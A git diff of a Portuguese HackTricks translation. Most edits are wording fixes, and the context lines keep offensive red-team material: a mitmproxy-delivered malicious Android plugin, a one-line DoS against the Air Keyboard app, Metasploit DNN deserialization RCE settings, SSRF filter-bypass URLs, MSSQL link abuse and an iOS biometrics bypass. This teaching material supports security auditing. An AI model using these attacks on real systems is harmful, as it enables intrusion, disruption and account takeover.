AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e labs de diferentes especialistas em segurança e pesquisadores para engenharia reversa e análise de malware.
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) É uma ótima lista de recursos
|
||||
@ -741,7 +741,7 @@ AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate qu
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
|
||||
## Yet to try
|
||||
## Ainda a tentar
|
||||
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Muitos aplicativos Android implementam seus **próprios canais de atualização de “plugin” ou “feature dinâmica”** em vez de usar a Google Play Store. Quando a implementação é insegura, um atacante capaz de interceptar o tráfego pode fornecer **código nativo arbitrário que será carregado dentro do processo do aplicativo**, levando à execução remota de código (RCE) total no dispositivo – e em alguns casos em qualquer dispositivo externo controlado pelo aplicativo (carros, IoT, dispositivos médicos…).
|
||||
Muitos aplicativos Android implementam seus **próprios canais de atualização de “plugin” ou “recurso dinâmico”** em vez de usar a Google Play Store. Quando a implementação é insegura, um atacante capaz de interceptar o tráfego pode fornecer **código nativo arbitrário que será carregado dentro do processo do aplicativo**, levando à execução remota de código (RCE) total no dispositivo – e em alguns casos em qualquer dispositivo externo controlado pelo aplicativo (carros, IoT, dispositivos médicos…).
|
||||
|
||||
Esta página resume uma cadeia de vulnerabilidade do mundo real encontrada no aplicativo de diagnóstico automotivo Xtool **AnyScan** (v4.40.11 → 4.40.40) e generaliza a técnica para que você possa auditar outros aplicativos Android e transformar a má configuração em uma arma durante um engajamento de red-team.
|
||||
Esta página resume uma cadeia de vulnerabilidade do mundo real encontrada no aplicativo de diagnóstico automotivo Xtool **AnyScan** (v4.40.11 → 4.40.40) e generaliza a técnica para que você possa auditar outros aplicativos Android e transformar a má configuração em uma arma durante um engajamento de red team.
|
||||
|
||||
---
|
||||
## 1. Identificando um TrustManager TLS Inseguro
|
||||
@ -72,7 +72,7 @@ $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. Atualize os metadados JSON para que `"FileName" : "PWNED.zip"` e `"DownloadURL"` aponte para seu servidor HTTP.
|
||||
3. Encripte com DES + codifique em Base64 o JSON modificado e cole-o de volta dentro do XML interceptado.
|
||||
3. Encripte em DES + codifique em Base64 o JSON modificado e cole-o de volta dentro do XML interceptado.
|
||||
|
||||
## 4. Entregue o Payload com mitmproxy
|
||||
|
||||
@ -110,7 +110,7 @@ Como o plugin é armazenado em cache no disco, o backdoor **persiste entre reini
|
||||
---
|
||||
### Lista de Verificação de Detecção e Mitigação (equipe azul)
|
||||
|
||||
* NUNCA envie uma versão de produção com um TrustManager/HostnameVerifier personalizado que desabilite a validação de certificado.
|
||||
* NUNCA envie uma versão de produção com um TrustManager/HostnameVerifier personalizado que desabilite a validação de certificados.
|
||||
* Não baixe código executável de fora do Google Play. Se você *precisar*, assine cada plugin com a mesma chave **apkSigning v2** e verifique a assinatura antes de carregar.
|
||||
* Substitua criptografia fraca/codificada por **AES-GCM** e uma chave rotativa do lado do servidor.
|
||||
* Valide a integridade dos arquivos baixados (assinatura ou pelo menos SHA-256).
|
||||
|
||||
@ -160,7 +160,7 @@ Aprenda como **enumerar os componentes da aplicação** e como **hookear método
|
||||
ios-hooking-with-objection.md
|
||||
{{#endref}}
|
||||
|
||||
### Estrutura do IPA
|
||||
### Estrutura IPA
|
||||
|
||||
A estrutura de um **arquivo IPA** é essencialmente a de um **pacote zipado**. Ao renomear sua extensão para `.zip`, ele pode ser **descompactado** para revelar seu conteúdo. Dentro dessa estrutura, um **Bundle** representa uma aplicação totalmente empacotada e pronta para instalação. Dentro, você encontrará um diretório chamado `<NAME>.app`, que encapsula os recursos da aplicação.
|
||||
|
||||
@ -178,7 +178,7 @@ A estrutura de um **arquivo IPA** é essencialmente a de um **pacote zipado**. A
|
||||
|
||||
**Info.plist**
|
||||
|
||||
O **Info.plist** serve como uma pedra angular para aplicações iOS, encapsulando dados de configuração chave na forma de pares **chave-valor**. Este arquivo é um requisito não apenas para aplicações, mas também para extensões de aplicativos e frameworks empacotados dentro. Está estruturado em formato XML ou binário e contém informações críticas que vão desde permissões de aplicativo até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a [**Documentação do Desenvolvedor da Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
O **Info.plist** serve como uma pedra angular para aplicações iOS, encapsulando dados de configuração chave na forma de pares **chave-valor**. Este arquivo é um requisito não apenas para aplicações, mas também para extensões de aplicativos e frameworks empacotados dentro. Está estruturado em formato XML ou binário e contém informações críticas que vão desde permissões de aplicativo até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a [**Documentação do Desenvolvedor Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Para aqueles que desejam trabalhar com este arquivo em um formato mais acessível, a conversão para XML pode ser realizada facilmente através do uso de `plutil` no macOS (disponível nativamente nas versões 10.2 e posteriores) ou `plistutil` no Linux. Os comandos para conversão são os seguintes:
|
||||
|
||||
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Entre a miríade de informações que o arquivo **Info.plist** pode revelar, entradas notáveis incluem strings de permissão do aplicativo (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`) e configurações para a Segurança de Transporte de Aplicativos (`NSAppTransportSecurity`). Essas entradas, junto com outras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), podem ser facilmente localizadas inspecionando o arquivo ou empregando um simples comando `grep`:
|
||||
Entre a miríade de informações que o arquivo **Info.plist** pode revelar, entradas notáveis incluem strings de permissão do app (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`) e configurações para a Segurança de Transporte de Aplicativos (`NSAppTransportSecurity`). Essas entradas, junto com outras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), podem ser facilmente localizadas inspecionando o arquivo ou empregando um simples comando `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -254,7 +254,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- O app pode desabilitar caminhos configurando `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/Preferences/**
|
||||
- Usado para armazenar propriedades que podem **persistir mesmo após a reinicialização de uma aplicação**.
|
||||
- As informações são salvas, não criptografadas, dentro do sandbox da aplicação em um arquivo plist chamado \[BUNDLE_ID].plist.
|
||||
- As informações são salvas, sem criptografia, dentro do sandbox da aplicação em um arquivo plist chamado \[BUNDLE_ID].plist.
|
||||
- Todos os pares chave/valor armazenados usando `NSUserDefaults` podem ser encontrados neste arquivo.
|
||||
- **tmp/**
|
||||
- Use este diretório para escrever **arquivos temporários** que não precisam persistir entre lançamentos do app.
|
||||
@ -315,7 +315,7 @@ DVIA-v2:
|
||||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||||
0000000100004ad0 add x10, x10, #0x268
|
||||
```
|
||||
Para imprimir o **segmento Objective-C** do aplicativo de exemplo, pode-se usar:
|
||||
Para imprimir o **segmento Objective-C** do aplicativo de amostra, pode-se usar:
|
||||
```bash
|
||||
otool -oV DVIA-v2
|
||||
DVIA-v2:
|
||||
@ -373,7 +373,7 @@ ios-basics.md
|
||||
|
||||
Os arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma forma de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendado verificar esses arquivos após a instalação do aplicativo e após usá-lo intensivamente para ver se novos dados são escritos.
|
||||
|
||||
A forma mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/<appBundleID>.plist`**
|
||||
A maneira mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
A classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornece uma interface programática para interagir com o sistema padrão. O sistema padrão permite que um aplicativo personalize seu comportamento de acordo com **preferências do usuário**. Os dados salvos pelo `NSUserDefaults` podem ser visualizados no pacote do aplicativo. Esta classe armazena **dados** em um **arquivo plist**, mas é destinada a ser usada com pequenas quantidades de dados.
|
||||
|
||||
@ -385,7 +385,7 @@ Para encontrar todos os plist usados pelo aplicativo, você pode acessar `/priva
|
||||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
Para converter arquivos do formato **XML ou binário (bplist)** para XML, vários métodos dependendo do seu sistema operacional estão disponíveis:
|
||||
Para converter arquivos de **XML ou binário (bplist)** para XML, vários métodos dependendo do seu sistema operacional estão disponíveis:
|
||||
|
||||
**Para usuários do macOS:** Utilize o comando `plutil`. É uma ferramenta embutida no macOS (10.2+), projetada para esse propósito:
|
||||
```bash
|
||||
@ -438,7 +438,7 @@ Como os bancos de dados Yap são bancos de dados sqlite, você pode encontrá-lo
|
||||
|
||||
### Outros Bancos de Dados SQLite
|
||||
|
||||
É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixando-os não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório dos aplicativos. Portanto, vá para o diretório do aplicativo onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixá-los não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório dos aplicativos. Portanto, vá para o diretório do aplicativo onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
@ -477,7 +477,7 @@ let realm = try Realm(configuration: config)
|
||||
fatalError("Error opening realm: \(error)")
|
||||
}
|
||||
```
|
||||
### Bancos de Dados Couchbase Lite
|
||||
### Couchbase Lite Databases
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) é descrito como um mecanismo de banco de dados **leve** e **embutido** que segue a abordagem **orientada a documentos** (NoSQL). Projetado para ser nativo do **iOS** e **macOS**, oferece a capacidade de sincronizar dados de forma contínua.
|
||||
|
||||
@ -584,13 +584,13 @@ Para extrair essas credenciais armazenadas, o comando `ios nsurlcredentialstorag
|
||||
|
||||
## **Teclados Personalizados e Cache de Teclado**
|
||||
|
||||
Com o iOS 8.0 em diante, os usuários podem instalar extensões de teclado personalizadas, que são gerenciáveis em **Ajustes > Geral > Teclado > Teclados**. Embora esses teclados ofereçam funcionalidade estendida, eles representam um risco de registro de teclas e transmissão de dados para servidores externos, embora os usuários sejam notificados sobre teclados que requerem acesso à rede. Os aplicativos podem, e devem, restringir o uso de teclados personalizados para a entrada de informações sensíveis.
|
||||
Com o iOS 8.0 em diante, os usuários podem instalar extensões de teclado personalizadas, que são gerenciáveis em **Ajustes > Geral > Teclado > Teclados**. Embora esses teclados ofereçam funcionalidade estendida, eles representam um risco de registro de teclas e transmissão de dados para servidores externos, embora os usuários sejam notificados sobre teclados que requerem acesso à rede. Os aplicativos podem e devem restringir o uso de teclados personalizados para a entrada de informações sensíveis.
|
||||
|
||||
**Recomendações de Segurança:**
|
||||
|
||||
- É aconselhável desativar teclados de terceiros para aumentar a segurança.
|
||||
- Esteja ciente das funcionalidades de correção automática e sugestões automáticas do teclado padrão do iOS, que podem armazenar informações sensíveis em arquivos de cache localizados em `Library/Keyboard/{locale}-dynamic-text.dat` ou `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Esses arquivos de cache devem ser verificados regularmente em busca de dados sensíveis. Recomenda-se redefinir o dicionário do teclado através de **Ajustes > Geral > Redefinir > Redefinir Dicionário do Teclado** para limpar dados em cache.
|
||||
- Interceptar o tráfego de rede pode revelar se um teclado personalizado está transmitindo as teclas remotamente.
|
||||
- Esteja ciente dos recursos de correção automática e sugestões automáticas do teclado padrão do iOS, que podem armazenar informações sensíveis em arquivos de cache localizados em `Library/Keyboard/{locale}-dynamic-text.dat` ou `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Esses arquivos de cache devem ser verificados regularmente em busca de dados sensíveis. Recomenda-se redefinir o dicionário do teclado através de **Ajustes > Geral > Redefinir > Redefinir Dicionário do Teclado** para limpar dados em cache.
|
||||
- Interceptar o tráfego de rede pode revelar se um teclado personalizado está transmitindo teclas remotamente.
|
||||
|
||||
### **Prevenindo o Cache de Campos de Texto**
|
||||
|
||||
@ -628,7 +628,7 @@ são úteis. Além disso, **Xcode** fornece uma maneira de coletar logs do conso
|
||||
3. Navegue até **Window** -> **Devices and Simulators**.
|
||||
4. Selecione seu dispositivo.
|
||||
5. Acione o problema que você está investigando.
|
||||
6. Use o botão **Open Console** para visualizar os logs em uma nova janela.
|
||||
6. Use o botão **Open Console** para ver os logs em uma nova janela.
|
||||
|
||||
Para um registro mais avançado, conectar-se ao shell do dispositivo e usar **socat** pode fornecer monitoramento de logs em tempo real:
|
||||
```bash
|
||||
@ -677,7 +677,7 @@ Ao lidar com informações sensíveis armazenadas na memória de um aplicativo,
|
||||
|
||||
## **Recuperando e Analisando um Dump de Memória**
|
||||
|
||||
Para dispositivos com jailbreak e sem jailbreak, ferramentas como [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) permitem o dump da memória do processo de um app. Uma vez feito o dump, a análise desses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.
|
||||
Para dispositivos com e sem jailbreak, ferramentas como [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) permitem o dump da memória do processo de um app. Uma vez feito o dump, a análise desses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.
|
||||
|
||||
Para extrair strings de um dump de memória, comandos como `strings` ou `rabin2 -zz` podem ser usados:
|
||||
```bash
|
||||
@ -712,7 +712,7 @@ Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **veri
|
||||
|
||||
### Verificação
|
||||
|
||||
As principais verificações a serem realizadas são encontrar se você pode encontrar **senhas**/segredos **codificados** no código, ou se são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
|
||||
As principais verificações a serem realizadas são para descobrir se você pode encontrar senhas/secrets **codificados** no código, ou se são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
|
||||
|
||||
É interessante saber que você pode **monitorar** algumas **bibliotecas** **crypto** automaticamente usando **objection** com:
|
||||
```swift
|
||||
@ -722,7 +722,7 @@ Para **mais informações** sobre APIs e bibliotecas criptográficas do iOS, ace
|
||||
|
||||
## Autenticação Local
|
||||
|
||||
A **autenticação local** desempenha um papel crucial, especialmente quando se trata de proteger o acesso em um ponto remoto por meio de métodos criptográficos. A essência aqui é que, sem uma implementação adequada, os mecanismos de autenticação local podem ser contornados.
|
||||
A **autenticação local** desempenha um papel crucial, especialmente quando se trata de proteger o acesso a um ponto final remoto por meio de métodos criptográficos. A essência aqui é que, sem uma implementação adequada, os mecanismos de autenticação local podem ser contornados.
|
||||
|
||||
O [**framework de Autenticação Local**](https://developer.apple.com/documentation/localauthentication) da Apple e o [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) fornecem APIs robustas para os desenvolvedores facilitarem diálogos de autenticação do usuário e lidarem com dados secretos de forma segura, respectivamente. O Secure Enclave protege a ID de impressão digital para o Touch ID, enquanto o Face ID depende do reconhecimento facial sem comprometer os dados biométricos.
|
||||
|
||||
@ -745,9 +745,9 @@ Uma autenticação bem-sucedida é indicada por um valor de retorno booleano de
|
||||
|
||||
### Autenticação Local usando Keychain
|
||||
|
||||
Implementar **autenticação local** em aplicativos iOS envolve o uso de **APIs de keychain** para armazenar dados secretos, como tokens de autenticação, de forma segura. Esse processo garante que os dados só possam ser acessados pelo usuário, usando seu código de acesso do dispositivo ou autenticação biométrica como Touch ID.
|
||||
Implementar **autenticação local** em aplicativos iOS envolve o uso de **APIs de keychain** para armazenar de forma segura dados secretos, como tokens de autenticação. Esse processo garante que os dados só possam ser acessados pelo usuário, usando seu código de acesso do dispositivo ou autenticação biométrica como Touch ID.
|
||||
|
||||
O keychain oferece a capacidade de definir itens com o atributo `SecAccessControl`, que restringe o acesso ao item até que o usuário autentique com sucesso via Touch ID ou código de acesso do dispositivo. Esse recurso é crucial para aumentar a segurança.
|
||||
O keychain oferece a capacidade de definir itens com o atributo `SecAccessControl`, que restringe o acesso ao item até que o usuário se autentique com sucesso via Touch ID ou código de acesso do dispositivo. Esse recurso é crucial para aumentar a segurança.
|
||||
|
||||
Abaixo estão exemplos de código em Swift e Objective-C demonstrando como salvar e recuperar uma string do keychain, aproveitando esses recursos de segurança. Os exemplos mostram especificamente como configurar o controle de acesso para exigir autenticação do Touch ID e garantir que os dados sejam acessíveis apenas no dispositivo em que foram configurados, sob a condição de que um código de acesso do dispositivo esteja configurado.
|
||||
|
||||
@ -880,7 +880,7 @@ O uso de frameworks em um aplicativo também pode ser detectado analisando a lis
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
Se `LocalAuthentication.framework` for usado em um aplicativo, a saída conterá ambas as linhas a seguir (lembre-se de que `LocalAuthentication.framework` usa `Security.framework` por trás):
|
||||
Se `LocalAuthentication.framework` for usado em um aplicativo, a saída conterá ambas as linhas a seguir (lembre-se de que `LocalAuthentication.framework` usa `Security.framework` por baixo dos panos):
|
||||
```bash
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
@ -891,7 +891,7 @@ Se `Security.framework` for utilizado, apenas o segundo será exibido.
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Através do **Objection Biometrics Bypass**, localizado na [página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O núcleo dessa abordagem envolve aproveitar o **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre retorne um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos.
|
||||
Através do **Objection Biometrics Bypass**, localizado [nesta página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O cerne dessa abordagem envolve aproveitar o **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre retorne um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos.
|
||||
|
||||
Para ativar esse bypass, o seguinte comando é empregado:
|
||||
```bash
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## TL;DR
|
||||
|
||||
A versão iOS do aplicativo comercial "Air Keyboard" (ID da App Store 6463187929) abre um **serviço TCP em texto claro na porta 8888** que aceita quadros de pressionamento de tecla **sem qualquer autenticação**. Qualquer dispositivo na mesma rede Wi-Fi pode se conectar a essa porta e injetar entrada de teclado arbitrária no telefone da vítima, alcançando **sequestro total de interação remota**.
|
||||
A versão iOS do aplicativo comercial "Air Keyboard" (ID da App Store 6463187929) abre um **serviço TCP em texto claro na porta 8888** que aceita quadros de teclas **sem qualquer autenticação**. Qualquer dispositivo na mesma rede Wi-Fi pode se conectar a essa porta e injetar entrada de teclado arbitrária no telefone da vítima, alcançando **sequestro total de interação remota**.
|
||||
|
||||
Uma versão companion para Android escuta na **porta 55535**. Ela realiza um handshake fraco AES-ECB, mas lixo elaborado causa uma **exceção não tratada na rotina de descriptografia do OpenSSL**, fazendo o serviço em segundo plano falhar (**DoS**).
|
||||
Uma versão Android acompanhante escuta na **porta 55535**. Ela realiza um handshake fraco AES-ECB, mas lixo elaborado causa uma **exceção não tratada na rotina de descriptografia do OpenSSL**, fazendo o serviço em segundo plano falhar (**DoS**).
|
||||
|
||||
## 1. Service Discovery
|
||||
|
||||
@ -57,7 +57,7 @@ Qualquer ASCII imprimível (incluindo `\n`, `\r`, teclas especiais, etc.) pode s
|
||||
|
||||
## 4. Android Companion – Negação de Serviço
|
||||
|
||||
A porta Android (55535) espera uma senha de 4 caracteres criptografada com uma **chave AES-128-ECB codificada** seguida por um nonce aleatório. Erros de análise sobem para `AES_decrypt()` e não são capturados, terminando a thread do listener. Um único pacote malformado é, portanto, suficiente para manter usuários legítimos desconectados até que o processo seja relançado.
|
||||
A porta Android (55535) espera uma senha de 4 caracteres criptografada com uma **chave AES-128-ECB codificada** seguida por um nonce aleatório. Erros de análise sobem para `AES_decrypt()` e não são capturados, encerrando a thread do listener. Um único pacote malformado é, portanto, suficiente para manter usuários legítimos desconectados até que o processo seja relançado.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
|
||||
@ -29,12 +29,12 @@ msf> set RHOSTS <target>
|
||||
msf> set LHOST <attacker_ip>
|
||||
msf> run
|
||||
```
|
||||
O módulo escolhe automaticamente o caminho certo para versões corrigidas, mas ainda vulneráveis (CVE-2018-15811/15812/18325/18326). A exploração funciona **sem autenticação** em 7.x–9.1.x e com uma conta de *baixo privilégio* *verificada* em 9.2.x+.
|
||||
O módulo escolhe automaticamente o caminho certo para versões corrigidas, mas ainda vulneráveis (CVE-2018-15811/15812/18325/18326). A exploração funciona **sem autenticação** nas versões 7.x–9.1.x e com uma conta de *baixo privilégio* *verificada* nas versões 9.2.x+.
|
||||
|
||||
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||
*Versões afetadas < 9.13.8 – Patch lançado em abril de 2025*
|
||||
|
||||
Um bypass da correção mais antiga do `DnnImageHandler` permite que um atacante force o servidor a emitir **requisições GET arbitrárias** (SSRF semi-cega). Impactos práticos:
|
||||
Um bypass da correção anterior do `DnnImageHandler` permite que um atacante force o servidor a emitir **requisições GET arbitrárias** (SSRF semi-cega). Impactos práticos:
|
||||
|
||||
* Escaneamento de portas internas / descoberta de serviços de metadados em implantações na nuvem.
|
||||
* Acessar hosts que, de outra forma, estariam protegidos por firewall da Internet.
|
||||
@ -90,6 +90,6 @@ Uma vez que a execução de código é alcançada como **IIS AppPool\<Site>**, t
|
||||
|
||||
## Referências
|
||||
|
||||
* Documentação do módulo Metasploit `dnn_cookie_deserialization_rce` – detalhes práticos de RCE não autenticada (GitHub).
|
||||
* Documentação do módulo Metasploit `dnn_cookie_deserialization_rce` – detalhes práticos de RCE não autenticado (GitHub).
|
||||
* Aviso de Segurança do GitHub GHSA-3f7v-qx94-666m – informações sobre bypass de SSRF de 2025 e patch.
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -158,7 +158,7 @@ A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar va
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
Confira o [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger onde você pode introduzir o host permitido e o do atacante e ele gerará uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um cabeçalho Host ou em um cabeçalho CORS.
|
||||
Confira o [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger, onde você pode introduzir o host permitido e o do atacante, e ele gerará uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um cabeçalho Host ou em um cabeçalho CORS.
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
@ -166,7 +166,7 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
Pode ser possível que o servidor esteja **filtrando a requisição original** de um SSRF **mas não** uma possível **resposta de redirecionamento** a essa requisição.\
|
||||
Pode ser possível que o servidor esteja **filtrando a solicitação original** de um SSRF **mas não** uma possível **resposta de redirecionamento** a essa solicitação.\
|
||||
Por exemplo, um servidor vulnerável a SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o lugar onde você deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos** filtrados como gopher.\
|
||||
[Confira este relatório.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
@ -199,7 +199,7 @@ O _truque do backslash_ explora uma diferença entre o [WHATWG URL Standard](htt
|
||||
|
||||
### Colchete esquerdo
|
||||
|
||||
O caractere “colchete esquerdo” `[` na seção de userinfo pode fazer com que o UriComponentsBuilder do Spring retorne um valor de hostname que difere dos navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
O caractere “colchete esquerdo” `[` no segmento de userinfo pode fazer com que o UriComponentsBuilder do Spring retorne um valor de hostname que difere dos navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### Outras Confusões
|
||||
|
||||
@ -223,10 +223,10 @@ Vários frameworks populares sofreram problemas de incompatibilidade de nome de
|
||||
| Ano | CVE | Componente | Sinopse do bug | PoC Mínimo |
|
||||
|-----|-----|------------|----------------|------------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` não é permitido na seção *userinfo*, então `https://example.com\[@internal` é analisado como host `example.com` pelo Spring, mas como `internal` pelos navegadores, permitindo redirecionamento aberto e SSRF quando listas de permissão de host são usadas. Atualize para Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | A confusão com a barra invertida permitiu que `http://example.com\\@169.254.169.254/` contornasse filtros de host que separam em `@`. |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | A confusão de barra invertida permitiu que `http://example.com\\@169.254.169.254/` contornasse filtros de host que separam em `@`. |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | A verificação de nome de host foi pulada quando o nome é finalizado com um `.` (confusão de domínio sem ponto). |
|
||||
|
||||
Quando você depende de analisadores de URL de terceiros, **compare o host canonicamente retornado pela biblioteca em que você confia com a string bruta fornecida pelo usuário** para detectar essas classes de problemas.
|
||||
Quando você depende de analisadores de URL de terceiros, **compare o host canonicamente retornado pela biblioteca em que confia com a string bruta fornecida pelo usuário** para detectar essas classes de problemas.
|
||||
|
||||
### Auxiliares de geração de payload (2024+)
|
||||
|
||||
|
||||
@ -133,7 +133,7 @@ Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
|
||||
# Get DBs, test connections and get info in oneliner
|
||||
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
|
||||
```
|
||||
## MSSQL Abuso Básico
|
||||
## Abuso Básico do MSSQL
|
||||
|
||||
### Acessar DB
|
||||
```bash
|
||||
@ -247,7 +247,7 @@ EXEC sp_linkedservers;
|
||||
|
||||
#### Execute queries in trustable link
|
||||
|
||||
Execute queries através do link (exemplo: encontre mais links na nova instância acessível):
|
||||
Execute consultas através do link (exemplo: encontre mais links na nova instância acessível):
|
||||
```sql
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Visão Geral
|
||||
|
||||
As Contas de Serviço Gerenciadas do Windows (MSA) são princípios especiais projetados para executar serviços sem a necessidade de gerenciar manualmente suas senhas.
|
||||
Contas de Serviço Gerenciadas do Windows (MSA) são princípios especiais projetados para executar serviços sem a necessidade de gerenciar manualmente suas senhas.
|
||||
Existem duas variantes principais:
|
||||
|
||||
1. **gMSA** – Conta de Serviço Gerenciada em grupo – pode ser usada em vários hosts que estão autorizados em seu atributo `msDS-GroupMSAMembership`.
|
||||
2. **dMSA** – Conta de Serviço Gerenciada delegada – o sucessor (em pré-visualização) do gMSA, que se baseia na mesma criptografia, mas permite cenários de delegação mais granulares.
|
||||
1. **gMSA** – conta de Serviço Gerenciado em grupo – pode ser usada em vários hosts que estão autorizados em seu atributo `msDS-GroupMSAMembership`.
|
||||
2. **dMSA** – conta de Serviço Gerenciado delegada – o sucessor (em pré-visualização) do gMSA, que se baseia na mesma criptografia, mas permite cenários de delegação mais granulares.
|
||||
|
||||
